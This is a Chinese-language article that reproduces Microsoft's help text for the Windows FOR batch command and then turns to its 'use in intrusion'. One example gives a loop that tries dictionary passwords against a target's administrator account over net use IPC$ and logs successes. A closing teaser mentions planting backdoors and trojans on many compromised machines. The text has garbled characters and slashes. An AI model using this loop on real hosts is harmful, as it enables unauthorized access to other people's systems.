支持: 

FOR /D %variable IN (set) DO command [command-parameters] 

如果集中包含通配符，則指定與目錄名匹配，而不與文件 
名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command- 

檢查以 [drive:]path 為根的目錄樹(shù)，指向每個(gè)目錄中的 
FOR 語(yǔ)句。如果在 /R 后沒(méi)有指定目錄，則使用當(dāng)前 
目錄。如果集僅為一個(gè)單點(diǎn)(.)字符，則枚舉該目錄樹(shù)。 

FOR /L %variable IN (start,step,end) DO command [command-para 

該集表示以增量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。 
因此，(1,1,5) 將產(chǎn)生序列 1 2 3 4 5，(5,-1,1) 將產(chǎn)生 
序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

或者，如果有 usebackq 選項(xiàng): 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的 
下一個(gè)文件之前，每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。 
處理包括讀取文件，將其分成一行行的文字，然后將每行 
解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值 
調(diào)用 For 循環(huán)。以默認(rèn)方式，/F 通過(guò)每個(gè)文件的每一行中分開(kāi) 
的第一個(gè)空白符號(hào)。跳過(guò)空白行。您可通過(guò)指定可選 "options" 
參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè) 
指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為: 

eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè)) 
skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。 
delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的 
默認(rèn)分隔符集。 
tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代 
的 for 本身。這會(huì)導(dǎo)致額外變量名稱的 
格式為一個(gè)范圍。通過(guò) nth 符號(hào)指定 m 
符號(hào)字符串中的最后一個(gè)字符星號(hào)， 
那么額外的變量將在最后一個(gè)符號(hào)解析之 
分配并接受行的保留文本。 
usebackq - 指定新語(yǔ)法已在下類情況中使用: 
在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且 
引號(hào)字符為文字字符串命令并允許在 fi 
中使用雙引號(hào)擴(kuò)起文件名稱。 


sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 

會(huì)分析 myfile.txt 中的每一行，忽略以分號(hào)打頭的那些行，將 
每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體；用逗號(hào)和/或 
空格定界符號(hào)。請(qǐng)注意，這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái) 
取得第二個(gè)符號(hào)，引用 %j 來(lái)取得第三個(gè)符號(hào)，引用 %k 
來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件 
名，您需要用雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使 
用雙引號(hào)，您還需要使用 usebackq 選項(xiàng)，否則，雙引號(hào)會(huì) 
被理解成是用作定義某個(gè)要分析的字符串的。 

%i 專門(mén)在 for 語(yǔ)句中得到說(shuō)明，%j 和 %k 是通過(guò) 
tokens= 選項(xiàng)專門(mén)得到說(shuō)明的。您可以通過(guò) tokens= 一行 
指定最多 26 個(gè)符號(hào)，只要不試圖說(shuō)明一個(gè)高于字母 z 或 
Z 的變量。請(qǐng)記住，F(xiàn)OR 變量是單一字母、分大小寫(xiě)和全局的； 
同時(shí)不能有 52 個(gè)以上都在使用中。 

您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是， 
用單引號(hào)將括號(hào)之間的 filenameset 括起來(lái)。這樣，該字符 
串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。 

最后，您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是，將 
括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì) 
被當(dāng)作命令行，傳遞到一個(gè)子 CMD.EXE，其輸出會(huì)被抓進(jìn) 
內(nèi)存，并被當(dāng)作文件分析。因此，以下例子: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。 

另外，F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列 
選項(xiàng)語(yǔ)法: 

~I - 刪除任何引號(hào)(")，擴(kuò)充 %I 
%~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名 
%~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào) 
%~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑 
%~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名 
%~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名 
%~sI - 擴(kuò)充的路徑只含有短名 
%~aI - 將 %I 擴(kuò)充到文件的文件屬性 
%~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間 
%~zI - 將 %I 擴(kuò)充到文件的大小 
%~$PATH:I - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴(kuò)充 
到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量 
未被定義，或者沒(méi)有找到文件，此組合鍵會(huì)擴(kuò)充 
空字符串 

可以組合修飾符來(lái)得到多重結(jié)果: 

%~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑 
%~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名 
%~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名 
%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄，并將 %I 擴(kuò)充 
到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。 
%~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR 

在以上例子中，%I 和 PATH 可用其他有效數(shù)值代替。%~ 語(yǔ)法 
用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫(xiě)變量名 
比較易讀，而且避免與不分大小寫(xiě)的組合鍵混淆。 

以上是MS的官方幫助，下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下For命令在入侵中的用途。 


sample2： 

利用For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。 
我們用net use ////ip//ipc$ "password" /u:"administrator"來(lái)嘗試這和目標(biāo)主機(jī)進(jìn)行連接，當(dāng)成功時(shí)記下密碼。 
最主要的命令是一條：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator" 
用i%來(lái)表示admin的密碼，在dict.txt中這個(gè)取i%的值用net use 命令來(lái)連接。然后將程序運(yùn)行結(jié)果傳遞給find命令－－ 
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D://ok.txt ，這樣就ko了。 


sample3： 

你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)＋木馬呢？，當(dāng)數(shù)量特別多的時(shí)候，原本很開(kāi)心的一件事都會(huì)變得很郁悶：）。文章開(kāi)頭就談到使用批處理文件，可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢？呵呵，看下去你就會(huì)明白了。

最新評(píng)論